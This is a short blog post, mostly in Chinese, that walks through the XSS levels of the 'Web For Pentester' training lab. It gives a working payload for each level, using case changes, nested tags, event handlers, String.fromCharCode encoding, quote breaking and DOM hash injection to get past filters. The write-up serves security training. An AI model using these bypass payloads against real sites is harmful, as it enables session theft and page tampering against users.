Urahara's Blog

Co-founder of FormSec, security researcher, bug hunter, pentester. Opinions are my own.

Web For Pentester - XSS Part Tips

30 Oct 2016 » pentest

XSS Example 1

直接输出无任何过滤:

name=<script>alert(/XSS/)</script>

XSS Example 2s

过滤掉了<script>标签,通过大小写进行绕过:

name=<Script>alert(/XSS/)</Script>

XSS Example 3

过滤了<script>标签(包括大写),但只过滤了一次,通过嵌套标签来绕过filter表达式:

name=<s<Script>cript>alert(/XSS/)</sc</Script>ript>

XSS Example 4

使用<script>标签测试直接显示error,替换<img>、<svg>等标签测试成功:

name=<img src=1 onerror=”alert(/XSS/)”>

XSS Example 5

alert被过滤,但prompt、confirm函数可使用;这里同样可以使用String.fromCharCode来绕过:

name=<img src=1 onerror=”confirm(/XSS/)”>

绕过magic_quotes_gpc magic_quotes_gpc=ON是php中的安全设置,开启后会把一些特殊字符进行轮换,比如’(单引号)转换为',”(双引号)转换为" ,\转换为
比如:<script>alert(“xss”);</script>会转换为,这样我们的xss就不生效了。 针对开启了magic_quotes_gpc的网站,我们可以通过javascript中的String.fromCharCode方法来绕过,我们可以把alert(/XSS/);转换为 String.fromCharCode(97, 108, 101, 114, 116, 40, 47, 88, 83, 83, 47, 41)那么我们的XSS语句就变成了 <script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script> String.fromCharCode()是javascript中的字符串方法,用来把ASCII转换为字符串,在harkbar中的XSS功能中有这个功能可直接使用

XSS Example 6

F12查看元素,发现输出在script标签中 $a= “hacker”; ,那么直接闭合双引号就好:

name=XSS”;alert($a);//

XSS Example 7

通过Example 6的方法发现双引号被HTML编码了,而且在$a=’‘处添加了单引号来申明变量内容,那么同样依照闭合的原则将双引号改为单引号即可

name=XSS’;alert($a);//

XSS Example 8

查询功能,将查询内容反馈至页面,那么也就是存储型XSS,使用<script>标签进行测试,通过查看源码发现<>尖括号被HTML编码,一般来说XSS漏洞修复若将尖括号进行编码后输出可视为安全的,但发现这里的form表单里的url可为任意构造,尝试访问如下带有payload的url成功 /xss/example8.php/” onmouseover=”alert(1)

XSS Example 9

同样审查元素,发现这里是一个很经典的DOM-Based XSS,使用了location.hash.substring(1),那么直接构造 /xss/example9.php#<script>alert(/XSS/)</script>